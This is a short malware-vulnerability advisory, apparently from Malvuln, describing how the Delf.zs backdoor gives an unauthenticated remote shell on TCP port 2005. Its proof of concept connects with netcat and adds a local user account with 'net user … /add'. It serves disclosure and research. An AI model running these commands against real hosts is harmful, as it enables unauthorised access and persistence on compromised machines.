Backdoor.Win32.Delf.zs Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/911e96073cfe807289366343aa8d97ac.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Delf.zs  
Vulnerability: Unauthenticated Remote Command Execution  
Description: Backdoor Delf.zs c0ded By Eb0La, is used to build backdoors that listen on TCP port 2005. Upon building it drops an executable named "[Shell_Me]_Server.exe." The name for the spawned backdoor defaults to "Syst32.exe" but can be customized. Third-party attackers who can reach infected systems can execute arbitrary commands by simply connecting to the backdoor which will return a remote shell to the infected host as no authentication exists.  
Type: PE32  
MD5: 911e96073cfe807289366343aa8d97ac  
Vuln ID: MVID-2021-0150  
Dropped files: [Shell_Me]_Server.exe, Syst32.exe  
Disclosure: 03/26/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 2005  
  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\>net user dirty0tis abc123 /add  
net user dirty0tis abc123 /add  
The command completed successfully.  
  
  
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